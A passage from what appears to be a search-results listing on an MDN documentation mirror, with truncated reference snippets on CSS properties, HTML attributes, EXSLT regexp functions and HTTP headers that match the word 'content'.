er="1 to 10" min="1" max="10" value="12"> <label for="value1">your value is </label> </li> </ul> </form> css li { list-style: none; margin-bottom: 1em; } input { border: 1px solid black; } input:in-range { background-color: rgba(0, 255, 0, 0.25); } input:out-of-range { background-color: rgba(255, 0, 0, 0.25); border: 2px solid red; } input:in-range + label::after {
content: 'okay.'; } input:out-of-range + label::after {
content: 'out of range!'; } result specifications specification status comment html living standardthe definition of ':out-of-range' in that specification.
:required - CSS: Cascading Style Sheets
this will ensure that people navigating with the aid of assistive technology such as a screen reader will be able to understand which inputs need valid
content to ensure a successful submission.
unicode-range - CSS: Cascading Style Sheets
description the purpose of this descriptor is to allow the font resources to be segmented so that a browser only needs to download the font resource needed for the text
content of a particular page.
@font-face - CSS: Cascading Style Sheets
by allowing authors to provide their own fonts, @font-face makes it possible to design
content without being limited to the so-called "web-safe" fonts (that is, the fonts which are so common that they're considered to be universally available).
aspect-ratio - CSS: Cascading Style Sheets
@media (max-aspect-ratio: 3/2) { div { background: %239ff; } } @media (aspect-ratio: 1/1) { div { background: %23f9a; } }</style><div id='inner'> watch this element as you resize your viewport's width and height.</div>"> </iframe> css iframe{ display:block; } javascript outer.style.width=outer.style.height="165px" w.onchange=w.oninput=function(){ outer.style.width=w.value+"px" wf.text
content="width:"+w.value } h.onchange=h.oninput=function(){ outer.style.height=h.value+"px" hf.text
content="height:"+h.value } result specifications specification status comment media queries level 4the definition of 'aspect-ratio' in that specification.
aural - CSS: Cascading Style Sheets
syntax the aural css media type—which has been deprecated in favor of the speech media type—was used to specify a block of css that applied only when the
content is being presented using a speech synthesis device.
user-zoom - CSS: Cascading Style Sheets
accessibility concerns disabling zooming capabilities prevents people experiencing low vision conditions from being able to read and understand page
content.
CSS Grid Layout - CSS: Cascading Style Sheets
grid-row: 4; } .six { grid-column: 3; grid-row: 4; } reference css properties grid-template-columns grid-template-rows grid-template-areas grid-template grid-auto-columns grid-auto-rows grid-auto-flow grid grid-row-start grid-column-start grid-row-end grid-column-end grid-row grid-column grid-area row-gap column-gap gap css functions repeat() minmax() fit-
content() css data types <flex> glossary entries grid grid lines grid tracks grid cell grid area gutters grid axis grid row grid column guides basic concepts of grid layout relationship of grid layout to other layout methods layout using line-based placement grid template areas layout using named grid lines auto-placement in css grid layout box alignment in css grid lay...
CSS Images - CSS: Cascading Style Sheets
css images is a module of css that defines what types of images can be used (the <image> type, containing urls, gradients and other types of images), how to resize them and how they, and other replaced
content, interact with the different layout models.
Stacking with floated blocks - CSS: Cascading Style Sheets
blocks and positioned blocks: the background and borders of the root element descendant non-positioned blocks, in order of appearance in the html floating blocks descendant positioned elements, in order of appearance in the html actually, as you can see in the example below, the background and border of the non-positioned block (div #4) is completely unaffected by floating blocks, but the
content is affected.
Pseudo-classes - CSS: Cascading Style Sheets
/* any button over which the user's pointer is hovering */ button:hover { color: blue; } pseudo-classes let you apply a style to an element not only in relation to the
content of the document tree, but also in relation to external factors like the history of the navigator (:visited, for example), the status of its
content (like :checked on certain form elements), or the position of the mouse (like :hover, which lets you know if the mouse is over an element or not).
Selector list - CSS: Cascading Style Sheets
#main, .
content, article { font-size: 1.1em; } selector list invalidation a downside to using selector lists is that the following aren't equivalent: h1 { font-family: sans-serif } h2:maybe-unsupported { font-family: sans-serif } h3 { font-family: sans-serif } h1, h2:maybe-unsupported, h3 { font-family: sans-serif } this is because a single unsupported selector in a selector list invalidates the whole ru...
Shorthand properties - CSS: Cascading Style Sheets
shorthand properties: animation, background, border, border-bottom, border-color, border-left, border-radius, border-right, border-style, border-top, border-width, column-rule, columns, flex, flex-flow, font, grid, grid-area, grid-column, grid-row, grid-template, list-style, margin, offset, outline, overflow, padding, place-
content, place-items, place-self, text-decoration, transition ...
Value definition syntax - CSS: Cascading Style Sheets
exclamation point (!) the exclamation point multiplier after a group indicates that the group is required, and must produce at least one value; even if the grammar of the items within the group would otherwise allow the entire
contents to be omitted, at least one component value must not be omitted.
align-items - CSS: Cascading Style Sheets
s #container { height:200px; width: 240px; align-items: center; /* can be changed in the live sample */ background-color: #8c8c8c; } .flex { display: flex; flex-wrap: wrap; } .grid { display: grid; grid-template-columns: repeat(auto-fill, 50px); } div > div { box-sizing: border-box; border: 2px solid #8c8c8c; width: 50px; display: flex; align-items: center; justify-
content: center; } #item1 { background-color: #8cffa0; min-height: 30px; } #item2 { background-color: #a0c8ff; min-height: 50px; } #item3 { background-color: #ffa08c; min-height: 40px; } #item4 { background-color: #ffff8c; min-height: 60px; } #item5 { background-color: #ff8cff; min-height: 70px; } #item6 { background-color: #8cffff; min-height: 50px; font-size: 30px; } se...
animation - CSS: Cascading Style Sheets
20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#restart'); } .grid { width: 100%; height: 100%; display: flex; background: #eee; font: 1em monospace; } .row { display: flex; flex: 1 auto; flex-direction: row; flex-wrap: wrap; justify-
content: space-between; } .col { display: flex; flex: 1 auto; flex-direction: column; } .cell { box-sizing: border-box; margin: .5em; padding: 0; background-color: #fff; overflow: hidden; text-align: left; } .flx { flex: 1 0; } .note { background: #fff3d4; padding: 1em; margin: .5em; font: .8em sans-serif; text-align: left; flex: none; } .overlay { padding: .5em; } @...
backdrop-filter - CSS: Cascading Style Sheets
); max-width: 50%; max-height: 50%; padding: 20px 40px; } html, body { height: 100%; width: 100%; } body { background-image: url(https://picsum.photos/id/1080/6858/4574), linear-gradient(rgb(219, 166, 166), rgb(0, 0, 172)); background-position: center center; background-repeat: no-repeat; background-size: cover; } .container { align-items: center; display: flex; justify-
content: center; height: 100%; width: 100%; } html <div class="container"> <div class="box"> <p>backdrop-filter: blur(10px)</p> </div> </div> result specifications specification status comment filter effects module level 2the definition of 'backdrop-filter' in that specification.
background - CSS: Cascading Style Sheets
] ]<bg-size> = [ <length-percentage> | auto ]{1,2} | cover | contain<repeat-style> = repeat-x | repeat-y | [ repeat | space | round | no-repeat ]{1,2}<attachment> = scroll | fixed | local<box> = border-box | padding-box |
content-boxwhere <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient><length-percentage> = <length> | <percentage>where <image()> = image( <image-tags>?
block-size - CSS: Cascading Style Sheets
syntax /* <length> values */ block-size: 300px; block-size: 25em; /* <percentage> values */ block-size: 75%; /* keyword values */ block-size: max-
content; block-size: min-
content; block-size: fit-
content(20em); block-size: auto; /* global values */ block-size: inherit; block-size: initial; block-size: unset; if the writing mode is vertically oriented, the value of block-size relates to the width of the element; otherwise, it relates to the height of the element.
border-bottom-left-radius - CSS: Cascading Style Sheets
the background color is clipped at the border div { border-bottom-left-radius:40%; border-style: black 3px double; background-color: rgb(250,20,70); background-clip:
content-box; } specifications specification status comment css backgrounds and borders module level 3the definition of 'border-bottom-left-radius' in that specification.
border-bottom-right-radius - CSS: Cascading Style Sheets
the background color is clipped at the border div { border-bottom-right-radius:40%; border-style: black 3px double; background-color: rgb(250,20,70); background-clip:
content-box; } specifications specification status comment css backgrounds and borders module level 3the definition of 'border-bottom-right-radius' in that specification.
border-end-end-radius - CSS: Cascading Style Sheets
applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage> examples border radius with vertical text html <div> <p class="exampletext">example</p> </div> css
content div { background-color: rebeccapurple; width: 120px; height: 120px; border-end-end-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px; background-color: #fff; border-end-end-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-end-end-radius' in...
border-inline-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html
content <div> <p class="exampletext">example text</p> </div> css
content div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-style: dashed; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-style...
border-top-left-radius - CSS: Cascading Style Sheets
ed as the border div { border-top-left-radius: 40%; } the box is not a square: an arc of ellipse is used as the border div { border-top-left-radius: 40%; } the background color is clipped at the border div { border-top-left-radius:40%; border-style: black 3px double; background-color: rgb(250,20,70); background-clip:
content-box; } specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top-left-radius' in that specification.
border-top-right-radius - CSS: Cascading Style Sheets
the box is not a square: an arc of ellipse is used as the border div { border-top-right-radius: 40%; } the background color is clipped at the border div { border-top-right-radius:40%; border-style: black 3px double; background-color: rgb(250,20,70); background-clip:
content-box; } specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top-right-radius' in that specification.
clear - CSS: Cascading Style Sheets
#container::after {
content: ""; display: block; clear: both; } syntax /* keyword values */ clear: none; clear: left; clear: right; clear: both; clear: inline-start; clear: inline-end; /* global values */ clear: inherit; clear: initial; clear: unset; values none is a keyword indicating that the element is not moved down to clear past floating elements.
<display-listitem> - CSS: Cascading Style Sheets
the list-item keyword causes the element to generate a ::marker pseudo-element with the
content specified by its list-style properties (for example a bullet point) together with a principal box of the specified type for its own
contents.
element() - CSS: Cascading Style Sheets
cool, huh?</p> </div> </div> the <div> element with the id "mybackground1" is used as the background for the
content including the paragraph "this box uses the element with the #mybackground1 id as its background!".
font-kerning - CSS: Cascading Style Sheets
ij</textarea> css div { font-size: 2rem; font-family: serif; } #nokern { font-kerning: none; } #kern { font-kerning: normal; } javascript let input = document.getelementbyid('input'); let kern = document.getelementbyid('kern'); let nokern = document.getelementbyid('nokern'); input.addeventlistener('keyup', function() { kern.text
content = input.value; /* update
content */ nokern.text
content = input.value; }); kern.text
content = input.value; /* initialize
content */ nokern.text
content = input.value; specifications specification status comment css fonts module level 3the definition of 'font-kerning' in that specification.
font-style - CSS: Cascading Style Sheets
umn; } header { margin-bottom: 1.5rem; } .container { flex-grow: 1; } .container > p { margin-top: 0; margin-bottom: 0; } javascript let slantlabel = document.queryselector('label[for="slant"]'); let slantinput = document.queryselector('#slant'); let sampletext = document.queryselector('.sample'); function update() { let slant = `oblique ${slantinput.value}deg`; slantlabel.text
content = `font-style: ${slant};`; sampletext.style.fontstyle = slant; } slantinput.addeventlistener('input', update); update(); accessibility concerns large sections of text set with a font-style value of italic may be difficult for people with cognitive concerns such as dyslexia to read.
font-weight - CSS: Cascading Style Sheets
dy { display: flex; flex-direction: column; } header { margin-bottom: 1.5rem; } .container { flex-grow: 1; } .container > p { margin-top: 0; margin-bottom: 0; } javascript let weightlabel = document.queryselector('label[for="weight"]'); let weightinput = document.queryselector('#weight'); let sampletext = document.queryselector('.sample'); function update() { weightlabel.text
content = `font-weight: ${weightinput.value};`; sampletext.style.fontweight = weightinput.value; } weightinput.addeventlistener('input', update); update(); accessibility concerns people experiencing low vision conditions may have difficulty reading text set with a font-weight value of 100 (thin/hairline) or 200 (extra light), especially if the font has a low contrast color ratio.
font - CSS: Cascading Style Sheets
w: hidden; } .propinputcont { float: left; text-align: center; margin-right: 5px; width: 80px; } .setpropcont { float: left; margin-right: 5px; width: 120px; } .propinputs, .setpropcont { margin-bottom: 1em; } .curcss { border: none; border-bottom: 1px solid black; text-align: center; width: 80px; } .mandatory { border-bottom-color: red; } .cf:before, .cf:after {
content: " "; display: table; } .cf:after { clear: both; } .tar { width: 40px; text-align: right; } .fontfamily { display: inline-block; } javascript var textareas = document.getelementsbyclassname("curcss"), shorttext = "", getcheckedvalue, setcss, getproperties, injectcss; getproperties = function () { shorttext = getcheckedvalue("font_style") + " " + ge...
<image> - CSS: Cascading Style Sheets
if supported, the browser-defined size matching the usual cursor size on the client's system
content for a pseudo-element (::after/::before) a 300px × 150px rectangle the concrete object size is calculated using the following algorithm: if the specified size defines both the width and the height, these values are used as the concrete object size.
image() - CSS: Cascading Style Sheets
providing fallback images .help::before {
content: image("try.webp", "try.svg", "try.gif"); } in this example, the browser will display an image as generated
content before the
content of the element with the class of help.
inline-size - CSS: Cascading Style Sheets
syntax /* <length> values */ inline-size: 300px; inline-size: 25em; /* <percentage> values */ inline-size: 75%; /* keyword values */ inline-size: max-
content; inline-size: min-
content; inline-size: fit-
content(20em); inline-size: auto; /* global values */ inline-size: inherit; inline-size: initial; inline-size: unset; if the writing mode is vertically oriented, the value of inline-size relates to the height of the element; otherwise, it relates to the width of the element.
justify-items - CSS: Cascading Style Sheets
if you hover or tab onto the grid container however, it is given a justify-items value of center, which causes the grid items to span only as wide as their
content width, and align in the center of their cells.
<length> - CSS: Cascading Style Sheets
height: 20px; background-color: #999; box-shadow: inset 3px 3px 5px rgba(255,255,255,0.5), inset -3px -3px 5px rgba(0,0,0,0.5); background-color: orange; display: flex; align-items: center; margin-top: 10px; } .result code { position: absolute; margin-left: 20px; } .results { margin-top: 10px; } .input-container { position: absolute; display: flex; justify-
content: flex-start; align-items: center; height: 50px; } label { margin: 0 10px 0 20px; } javascript const inputdiv = document.queryselector('.inner'); const inputelem = document.queryselector('input'); const resultsdiv = document.queryselector('.results'); inputelem.addeventlistener('change', () => { inputdiv.style.width = inputelem.value; const result = document.createelement('div'); ...
margin-right - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> | auto examples setting right margin using pixels and percentages .
content { margin-right: 5%; } .sidebox { margin-right: 10px; } .logo { margin-right: -5px; } specifications specification status comment css basic box modelthe definition of 'margin-right' in that specification.
margin-top - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> | auto examples setting positive and negative top margins .
content { margin-top: 5%; } .sidebox { margin-top: 10px; } .logo { margin-top: -5px; } #footer { margin-top: 1em; } specifications specification status comment css basic box modelthe definition of 'margin-top' in that specification.
margin - CSS: Cascading Style Sheets
/* left: 5px margin */ margin: 2em auto; /* top and bottom: 2em margin */ /* box is horizontally centered */ margin: auto; /* top and bottom: 0 margin */ /* box is horizontally centered */ notes horizontal centering to center something horizontally in modern browsers, you can use display: flex; justify-
content: center; .
mask-repeat - CSS: Cascading Style Sheets
tyle>#where <repeat-style> = repeat-x | repeat-y | [ repeat | space | round | no-repeat ]{1,2} examples setting repeat for a single mask css #masked { width: 250px; height: 250px; background: blue linear-gradient(red, blue); mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-repeat: repeat; /* can be changed in the live sample */ margin-bottom: 10px; } html
content <div id="masked"> </div> <select id="repetition"> <option value="repeat-x">repeat-x</option> <option value="repeat-y">repeat-y</option> <option value="repeat" selected>repeat</option> <option value="space">space</option> <option value="round">round</option> <option value="no-repeat">no-repeat</option> </select> javascript
content var repetition = document.getelementbyid("repetitio...
mask-size - CSS: Cascading Style Sheets
the mask positioning area is, by default, the area containing the
content of the box and its padding; the area may also be changed to just the
content or to the area containing borders, padding and
content.
mask - CSS: Cascading Style Sheets
)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()><box> = border-box | padding-box |
content-boxwhere <image-tags> = ltr | rtl<image-src> = <url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
max-inline-size - CSS: Cascading Style Sheets
syntax /* <length> values */ max-inline-size: 300px; max-inline-size: 25em; /* <percentage> values */ max-inline-size: 75%; /* keyword values */ max-inline-size: auto; max-inline-size: max-
content; max-inline-size: min-
content; max-inline-size: fit-
content(20em); /* global values */ max-inline-size: inherit; max-inline-size: initial; max-inline-size: unset; values the max-inline-size property takes the same values as the max-width and max-height properties.
min-block-size - CSS: Cascading Style Sheets
syntax /* <length> values */ min-block-size: 100px; min-block-size: 5em; /* <percentage> values */ min-block-size: 10%; /* keyword values */ min-block-size: max-
content; min-block-size: min-
content; min-block-size: fit-
content(20em); /* global values */ min-block-size: inherit; min-block-size: initial; min-block-size: unset; if the writing mode is vertically oriented, the value of min-block-size relates to the minimum width of the element; otherwise, it relates to the minimum height of the element.
min-inline-size - CSS: Cascading Style Sheets
syntax /* <length> values */ min-inline-size: 100px; min-inline-size: 5em; /* <percentage> values */ min-inline-size: 10%; /* keyword values */ min-inline-size: max-
content; min-inline-size: min-
content; min-inline-size: fit-
content(20em); /* global values */ min-inline-size: inherit; min-inline-size: initial; min-inline-size: unset; if the writing mode is vertically oriented, the value of min-inline-size relates to the minimum height of the element; otherwise, it relates to the minimum width of the element.
offset-path - CSS: Cascading Style Sheets
| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]<box> = border-box | padding-box |
content-box examples animating an element with offset-path the offset-path properties in the css code sample defines a motion path that is identical to the <path> element in the svg.
overscroll-behavior - CSS: Cascading Style Sheets
you may also have noticed that when you have a dialog box with scrolling
content on top of a page of scrolling
content, once the dialog box's scroll boundary is reached, the underlying page will then start to scroll — this is called scroll chaining.
padding-block-end - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting block end padding for vertical text html
content <div> <p class="exampletext">example text</p> </div> css
content div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-block-end: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-bloc...
place-items - CSS: Cascading Style Sheets
examples placing items in a flex container div > div { box-sizing: border-box; border: 2px solid #8c8c8c; width: 50px; display: flex; align-items: center; justify-
content: center; } #item1 { background-color: #8cffa0; min-height: 30px; } #item2 { background-color: #a0c8ff; min-height: 50px; } #item3 { background-color: #ffa08c; min-height: 40px; } #item4 { background-color: #ffff8c; min-height: 60px; } #item5 { background-color: #ff8cff; min-height: 70px; } #item6 { background-color: #8cffff; min-height: 50px; font-size: 30px; } se...
place-self - CSS: Cascading Style Sheets
these values cause the grid items to span only as wide/tall as their
content width/height, and align in different positions across their cells, in the block and inline directions.
right - CSS: Cascading Style Sheets
auto specifies that: for absolutely positioned elements, the position of the element is based on the left property, while width: auto is treated as a width based on the
content; or if left is also auto, the element is positioned where it should horizontally be positioned if it were a static element.
row-gap (grid-row-gap) - CSS: Cascading Style Sheets
formal definition initial valuenormalapplies tomulti-column elements, flex containers, grid containersinheritednopercentagesrefer to corresponding dimension of the
content areacomputed valueas specified, with <length>s made absolute, and normal computing to zero except on multi-column elementsanimation typea length, percentage or calc(); formal syntax normal | <length-percentage>where <length-percentage> = <length> | <percentage> examples flex layout html <div id="flexbox"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div>...
scroll-behavior - CSS: Cascading Style Sheets
isplay: inline-block; width: 50px; text-decoration: none; } nav, scroll-container { display: block; margin: 0 auto; text-align: center; } nav { width: 339px; padding: 5px; border: 1px solid black; } scroll-container { display: block; width: 350px; height: 200px; overflow-y: scroll; scroll-behavior: smooth; } scroll-page { display: flex; align-items: center; justify-
content: center; height: 100%; font-size: 5em; } result specifications specification status comment css object model (cssom) view modulethe definition of 'scroll-behavior' in that specification.
scroll-padding-block-end - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other
content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
scroll-padding-block-start - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other
content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
scroll-padding-block - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other
content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targeted element and the edges of the scrollport.
scroll-padding-bottom - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other
content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
scroll-padding-inline-end - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other
content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
scroll-padding-inline-start - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other
content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
scroll-padding-inline - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other
content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
scroll-padding-left - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other
content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
scroll-padding-right - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other
content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
scroll-padding-top - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other
content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
scroll-padding - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other
content (such as fixed-positioned toolbars or sidebars), or simply to put more breathing room between a targeted element and the edges of the scrollport.
scroll-snap-stop - CSS: Cascading Style Sheets
css /* setup */ :root, body { height: 100%; display: flex; align-items: center; justify-
content: space-between; flex-flow: column nowrap; font-family: monospace; } .container { display: flex; overflow: auto; outline: 1px dashed lightgray; flex: none; } .container.x { width: 100%; height: 128px; flex-flow: row nowrap; } .container.y { width: 256px; height: 256px; flex-flow: column nowrap; } /* definite scroll snap */ .mandatory-scroll-snapping > div { scroll-snap-...
text-decoration-color - CSS: Cascading Style Sheets
accessibility concerns it is important to ensure that the contrast ratio between the color of the text, the background the text is placed over, and the text decoration line is high enough that people experiencing low vision conditions will be able to read the
content of the page.
text-decoration-skip-ink - CSS: Cascading Style Sheets
syntax /* single keyword */ text-decoration-skip-ink: none; text-decoration-skip-ink: auto; text-decoration-skip-ink: all; /* global keywords */ text-decoration-skip: inherit; text-decoration-skip: initial; text-decoration-skip: unset; values none underlines and overlines are drawn across the full length of the text
content, including parts that cross over glyph descenders and ascenders.
<transform-function> - CSS: Cascading Style Sheets
,50,100,0,1.1)</option> </select> </div> </main> css main { width: 400px; height: 200px; padding: 50px; background-image: linear-gradient(135deg, white, cyan, white); } #example-element { width: 100px; height: 100px; transform-style: preserve-3d; transition: transform 1.5s; transform: rotate3d(1, 1, 1, 30deg); } .face { display: flex; align-items: center; justify-
content: center; width: 100%; height: 100%; position: absolute; backface-visibility: inherit; font-size: 60px; color: #fff; } .front { background: rgba(90,90,90,.7); transform: translatez(50px); } .back { background: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right { background: rgba(210,0,0,.7); transform: rotatey(90deg) translatez(50px); } .lef...
transform-style - CSS: Cascading Style Sheets
op">5</div> <div class="face bottom">6</div> </section> <div class="checkbox"> <label for="preserve"><code>preserve-3d</code></label> <input type="checkbox" id="preserve" checked> </div> css #example-element { margin: 50px; width: 100px; height: 100px; transform-style: preserve-3d; transform: rotate3d(1, 1, 1, 30deg); } .face { display: flex; align-items: center; justify-
content: center; width: 100%; height: 100%; position: absolute; backface-visibility: inherit; font-size: 60px; color: #fff; } .front { background: rgba(90,90,90,.7); transform: translatez(50px); } .back { background: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right { background: rgba(210,0,0,.7); transform: rotatey(90deg) translatez(50px); } .lef...
Used value - CSS: Cascading Style Sheets
div> </div> css #no-width { width: auto; } #width-50 { width: 50%; } #width-inherit { width: inherit; } /* make results easier to see */ div { border: 1px solid red; padding: 8px; } javascript function updateusedwidth(id) { var div = document.queryselector(`#${id}`); var par = div.queryselector('.show-used-width'); var wid = window.getcomputedstyle(div)["width"]; par.text
content = `used width: ${wid}.`; } function updateallusedwidths() { updateusedwidth("no-width"); updateusedwidth("width-50"); updateusedwidth("width-inherit"); } updateallusedwidths(); window.addeventlistener('resize', updateallusedwidths); result difference from computed value css 2.0 defined only computed value as the last step in a property's calculation.
vertical-align - CSS: Cascading Style Sheets
amples/16/ed9c61c3b6.png"/> -100%:<img style="vertical-align:-100%" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> </p> #* { box-sizing: border-box; } img { margin-right: 0.5em; } p { height: 3em; padding: 0 .5em; font-family: monospace; text-decoration: underline overline; margin-left: auto; margin-right: auto; width: 80%; } to vertically align the
content of a cell in a table: <table> <tr> <td style="vertical-align: baseline">baseline</td> <td style="vertical-align: top">top</td> <td style="vertical-align: middle">middle</td> <td style="vertical-align: bottom">bottom</td> <td> <p>there is a theory which states that if ever anyone discovers exactly what the universe is for and why it is here, it will instantly disappe...
regexp:replace() - EXSLT
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes regexp:replace() replaces the portions of a string that match a given regular expression with the
contents of another string.
Regular expressions (regexp) - EXSLT
regexp:match()regexp:match() performs regular expression matching on a string, returning the submatches found as a result.regexp:replace()regexp:replace() replaces the portions of a string that match a given regular expression with the
contents of another string.regexp:test()regexp:test() tests to see whether a string matches a specified regular expression.
Ajax - Developer guides
filereader api the filereader api lets web applications asynchronously read the
contents of files (or raw data buffers) stored on the user's computer, using file or blob objects to specify the file or data to read.
Introduction to HTML5 - Developer guides
to indicate that your html
content uses html5, simply use: <!doctype html> doing so will cause even browsers that don't presently support html5 to enter into standards mode, which means that they'll interpret the long-established parts of html in an html5-compliant way while ignoring the new features of html5 they don't support.
HTML attribute: accept - HTML: Hypertext Markup Language
for example, a file picker that needs
content that can be presented as an image, including both standard image formats and pdf files, might look like this: <input type="file" accept="image/*,.pdf"> using file inputs a basic example <form method="post" enctype="multipart/form-data"> <div> <label for="file">choose file to upload</label> <input type="file" id="file" name="file" multiple> </div> <div> <button>submit</button> </d...
Date and time formats used in HTML - HTML: Hypertext Markup Language
elements that use such formats include certain forms of the <input> element that let the user choose or specify a date, time, or both, as well as the <ins> and <del> elements, whose datetime attribute specifies the date or date and time at which the insertion or deletion of
content occurred.
<basefont> - HTML: Hypertext Markup Language
you should not use this element; instead, you should use css properties such as font, font-family, font-size, and color to change the font configuration for an element and its
contents.
<isindex> - HTML: Hypertext Markup Language
the user fills in the fields, clicks ok, and the query results come up in the table of
contents window." a thread about isindex in november 1992, kevin hoadley questioned the need for an isindex element and proposed to drop it.
accesskey - HTML: Hypertext Markup Language
or newer: control + alt + key on firefox 13 or older: control + key internet explorer alt + key alt + shift + key n/a edge n/a control + option + key control + option + shift + key google chrome alt + shift + key safari n/a opera 15+ alt + key control + alt + key opera 12 shift + esc opens a
contents list which are accessible by accesskey, then, can choose an item by pressing key accessibility concerns in addition to poor browser support, there are numerous concerns with the accesskey attribute: an accesskey value can conflict with a system or browser keyboard shortcut, or assistive technology functionality.
is - HTML: Hypertext Markup Language
// create a class for the element class wordcount extends htmlparagraphelement { constructor() { // always call super first in constructor super(); // constructor
contents ommitted for brevity ...
itemtype - HTML: Hypertext Markup Language
pan itemprop="mpn">925872<br></span> <span itemprop="aggregaterating" itemscope itemtype="http://schema.org/aggregaterating"> rating: <span itemprop="ratingvalue">4.4</span> stars, based on <span itemprop="reviewcount">89 </span> reviews </span><p> <span itemprop="offers" itemscope itemtype="http://schema.org/offer"> regular price: $179.99<br> <meta itemprop="pricecurrency"
content="usd" /> <span itemprop="price">sale price: $119.99<br></span> (sale ends <time itemprop="pricevaliduntil" datetime="2020-11-05"> 5 november!</time>)<br> available from: <span itemprop="seller" itemscope itemtype="http://schema.org/organization"> <span itemprop="name">executive objects<br></span> </span> condition: <link itemprop="it...
spellcheck - HTML: Hypertext Markup Language
this default value may also be inherited, which means that the element
content will be checked for spelling errors only if its nearest ancestor has a spellcheck state of true.
Connection management in HTTP/1.x - HTTP
not all types of http requests can be pipelined: only idempotent methods, that is get, head, put and delete, can be replayed safely: should a failure happen, the pipeline
content can simply be repeated.
Using HTTP cookies - HTTP
a simple cookie is set like this: set-cookie: <cookie-name>=<cookie-value> this shows the server sending headers to tell the client to store a pair of cookies: http/2.0 200 ok
content-type: text/html set-cookie: yummy_cookie=choco set-cookie: tasty_cookie=strawberry [page
content] then, with every subsequent request to the server, the browser sends back all previously stored cookies to the server using the cookie header.
Access-Control-Allow-Credentials - HTTP
note that simple get requests are not preflighted, and so if a request is made for a resource with credentials, if this header is not returned with the resource, the response is ignored by the browser and not returned to web
content.
Access-Control-Allow-Headers - HTTP
request-headers, and origin, such as: options /resource/foo access-control-request-method: delete access-control-request-headers: origin, x-requested-with origin: https://foo.bar.org response if the server allows cors requests to use the delete method, it responds with an access-control-allow-methods response header, which lists delete along with the other methods it supports: http/1.1 200 ok
content-length: 0 connection: keep-alive access-control-allow-origin: https://foo.bar.org access-control-allow-methods: post, get, options, delete access-control-max-age: 86400 if the requested method isn't supported, the server will respond with an error.
Access-Control-Request-Headers - HTTP
examples access-control-request-headers: x-pingother,
content-type specifications specification status comment fetchthe definition of 'access-control-request-headers' in that specification.
Allow - HTTP
examples allow: get, post, head specifications specification title rfc 7231, section 7.4.1: allow hypertext transfer protocol (http/1.1): semantics and
content ...
DNT - HTTP
it lets users indicate whether they would prefer privacy rather than personalized
content.
Date - HTTP
